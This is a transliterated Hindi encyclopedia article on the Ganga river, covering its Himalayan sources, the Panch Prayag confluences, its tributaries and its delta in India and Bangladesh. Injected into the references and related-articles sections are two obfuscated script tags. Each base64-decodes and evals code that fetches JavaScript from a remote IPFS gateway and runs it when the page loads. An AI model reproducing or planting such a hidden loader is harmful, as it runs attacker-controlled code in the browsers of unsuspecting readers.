गंगा की विशेषताएँ
[[chitr:Haridwar.jpg|300px|thumb|ganga nadi, haridvar
Ganga River, Haridwar]]
ganga bharat ki sabase mahattvapoorn nadiyoan mean se ek hai. yah uttar bharat ke maidanoan ki vishal nadi hai. ganga bharat aur baangladesh mean milakar 2,510 kilomitar ki doori tay karati hai. uttaraanchal mean himalay se nikalakar yah bharat ke lagabhag ek-chauthaee bhoo-kshetr se pravahit hoti huee bangal ki kha di mean milati hai. ganga nadi ko uttar bharat ki arthavyavastha ka merudand bhi kaha gaya hai.
bhoo-akriti
ganga ka udgam dakshini himalay mean tibbat sima ke bharatiy hisse se hota hai. isaki paanch arambhik dharaoan bhagirathi, alakananda, mandakini, dhauliganga tatha piandar ka udgam uttarakhand kshetr, jo uttar pradesh ka ek sanbhag tha (vartaman uttaraanchal rajy) mean hota hai. do pramukh dharaoan mean b di alakananda ka udgam himalay ke nanda devi shikhar se 48 kilomitar door tatha doosari bhagirathi ka udgam himalay ki gangotri namak himanad ke roop mean 3,050 mitar ki ooanchaee par barf ki gufa mean hota hai. gangotri hinduoan ka ek tirth sthan hai. vaise gangotri se 21 kilomitar dakshin-poorv sthit gomukh ko ganga ka vastavik udgam sthal mana jata hai.
pradhan shakha
ganga nadi ki pradhan shakha bhagirathi hai, jo kumaooan mean himalay ke gomukh namak sthan par gangotri himanad se nikalati hai.[1] ganga ke is udgam sthal ki ooanchaee 3140 mitar hai. yahaan ganga ji ko samarpit ek mandir bhi hai. gangotri tirth, shahar se 19 kilomitar uttar ki or 3892 mitar (12,770 phit) ki ooanchaee par is himanad ka mukh hai. yah himanad 25 kilomitar lanba v 4 kilomitar chau da aur lagabhag 40 mitar ooancha hai. isi gleshiyar se bhagirathi ek chhote se gufanuma mukh par avatarit hoti hai. isaka jal srot 5000 mitar ooanchaee par sthit ek besin hai. is besin ka mool pashchimi dhalan ki santopanth ki chotiyoan mean hai. gaumukh ke raste mean 3600 mitar ooanche chirabasa gram se vishal gomukh himanad ke darshan hote haian. is himanad mean nanda devi parvat, kamat parvat evan trishool parvat ka him pighal kar ata hai.
panchaprayag
alakananda nadi ki sahayak nadi dhauli, vishnu ganga tatha mandakini hai. dhauli ganga ka alakananda se vishnu prayag mean sangam hota hai. yah 1372 mitar ki ooanchaee par sthit hai. phir 2805 mitar ooanche nand prayag mean alakananda ka nandakini nadi se sangam hota hai. isake bad karn prayag mean alakananda ka karn ganga ya piandar nadi se sangam hota hai. phir rrishikesh se 139 kilomitar door sthit rudraprayag mean alakananda mandakini se milati hai. isake bad bhagirathi v alakananda 1500 phit par sthit devaprayag mean sangam karati haian, yahaan se yah sammilit jal-dhara ganga nadi ke nam se age pravahit hoti hai. in paanch prayagoan ko sammilit roop se panchaprayag kaha jata hai.[1] is prakar 200 kilomitar ka sankara paha di rasta tay karake ganga nadi rrishikesh hote hue pratham bar maidanoan ka sparsh haridvar mean karati hai. [[chitr:Ganga-15.jpg|left|thumb|nav mean ghoomate shraddhalu, ganga nadi, varanasi|250px]]
alakananda aur bhagirathi sangam
dev prayag mean alakananda aur bhagirathi ka sangam hone ke bad yah ganga ke roop mean dakshin himalay se rrishikesh ke nikat bahar ati hai aur haridvar ke bad maidani ilakoan mean pravesh karati hai. haridvar bhi hinduoan ka tirth sthan hai. nadi ke pravah mean mausam ke anusar ane vale tho de bahut parivartan ke bavazood isake jal ki matra mean ullekhaniy vriddhi tab hoti hai, jab isamean any sahayak nadiyaan milati haian tatha yah adhik varsha vale ilaqe mean pravesh karati hai. ek taraph aprail se joon ke bich himalay mean pighalane vali barf se isaka poshan hota hai, vahian doosari or julaee se sitambar ke bich ka manasoon isamean ane vali badhoan ka karan banata hai. uttar pradesh rajy mean isake dahine tat ki sahayak nadiyaan, yamuna rajadhani dilli hote hue ilahabad mean ganga mean shamil hoti haian tatha tons nadi haian, jo madhy pradesh ke viandhyachal se nikalakar uttar ki taraf pravahit hoti hai aur shighr hi ganga mean shamil ho jati haian. uttar pradesh mean baeean taraf ki sahayak nadiyaan ramaganga, gomati tatha ghaghara haian.
bihar mean pravesh
isake bad ganga bihar rajy mean pravesh karati hai, jahaan isaki mukhy sahayak nadiyaan himalay kshetr ki taraf se gandak, boodhi gandak, kosi tatha ghughari haian. dakshin ki taraf se isaki mukhy sahayak nadi son hai. yahaan se yah nadi rajamahal paha diyoan ka chakkar lagati huee dakshin-poorv mean pharakka tak pahuanchati hai, jo is delta ka sarvochch bindu hai. yahaan se ganga bharat mean antim rajy pashchim bangal mean pravesh karati hai, jahaan uttar ki taraf se isamean mahananda milati hai (samooche pashchim bangal aur baangladesh mean sthaniy abadi ganga ko padma kahakar pukarati hai). ganga ke delta ki sudoor pashchimi shakha hugali hai, jisake tat par mahanagar kolakata (bhootapoorv kalakatta) basa hua hai. svayan hugali mean pashchim se akar usaki do sahayak nadiyaan damodar v roopanarayan shamil hoti haian. baangladesh mean gvalando ghat ke nikat ganga mean vishal brahmaputr shamil hoti hai (in donoan ke sangam ke 241 kilomitar pahale tak ise phir yamuna ke nam se bulaya jata hai). ganga aur brahmaputr ki sanyukt dhara hi padma kahalane lagati hai aur chaandapur ke nikat vah meghana mean shamil ho jati hai. isake bad yah virat jalarashi anek pravahoan mean vibhajit hokar bangal ki kha di mean sama jati hai. baangladesh ki rajadhani dhaka dhaleshvadi nadi ki sahayak nadi boodhi ganga ke tat par sthit hai. jin nadi shakhaoan se ganga ka delta banata hai, usaki hugali aur meghana ke alava any shakhaean pashchim bangal mean jalaangi aur baangladesh mean mataganga, bhairab, kabadak, garaee-madhumati tatha ariyal khan haian. [[chitr:Ganga-8.jpg|thumb|ratri drishy, ganga nadi, varanasi|250px]]
- delta kshetr mean sthit ganga ki sabhi sahayak nadiyaan aur shakhaean mausam mean parivartanoan ke karan aksar apana rasta badal leti haian. ye parivartan visheshakar 1750 ee. ke bad se zyada hone lage haian. brahmaputr 1785 ee. tak maimanasianh shahar ke pas se bahati thi, ab yah vahaan se 64 kilomitar pashchim mean ganga mean milati hai.
- ganga tatha brahmaputr ki nadi ghatiyoan se bahakar aee huee gad se bane delta ka kshetraphal 60,000 varg kilomitar hai tatha usaka nirman mitti, ret tatha kh diya ki kramik paratoan se hua hai. yahaan par s di-gali vanaspati (pit) lignait (bhoore koyale) ki paratean bhi un ilaqoan mean milati haian, jahaan pahale ghane van hua karate the. delta mean naharoan ke asapas bad mean prakritik roop se bahut-sa khadar bhi jama hua hai.
- ganga delta ki dakshini satah ka nirman tez gati se tatha tulanatmak roop se hal mean bahakar aee gad ki bhari matra se hua hai. poorab mean samudr ki taraf isi gad ke karan b di tezi se ne-ne bhookshetr (nadi dvip) banate ja rahe haian, jinhean ‘char’ kahate haian. vaise delta ka pashchimi samudri tat 18vian sadi ke bad se lagabhag aparivartit hai.
- pashchim bangal ki nadiyoan ka pravah bahut dhima hai aur unase kafi kam pani samudr mean pravahit hota hai. baangladeshi delta kshetr mean nadiyaan chau di tatha gatiman haian aur unamean pani vipul matra mean bahata hai. ye nadiyaan anek sankari paha diyoan se paraspar ju di huee haian.
- varsha rritu (joon se aktoobar) mean is ilaqe mean kritrim roop se nirmit uchchabhoomi par basae ge gaanv kee fit pani mean doob jate haian. is mausam mean in bastiyoan ke bich avagaman ka ekamatr sadhan naukaean hi hoti haian.
- samooche delta kshetr ka samudratatiy ilaqa daladali hai. yah poora kshetr sundaravan kahalata hai aur bharat v baangladesh, donoan ne ise sanrakshit kshetr ghoshit kar rakha hai.
- is delta ke kuchh hissoan mean jangali vanaspatiyoan tatha dhan se nirmit pit ki paratean haian. anek prakritik khaiyoan (biloan) mean us pit ke banane ki kriya jari hai. jisaka upayog sthaniy kisan khad, sukhakar ghareloo tatha audyogik eedhan ke roop mean karate haian.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 uttaraanchal-ek parichay (echatiem) tidiaeeel. abhigaman tithi: 28 aprॅl, 2008.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>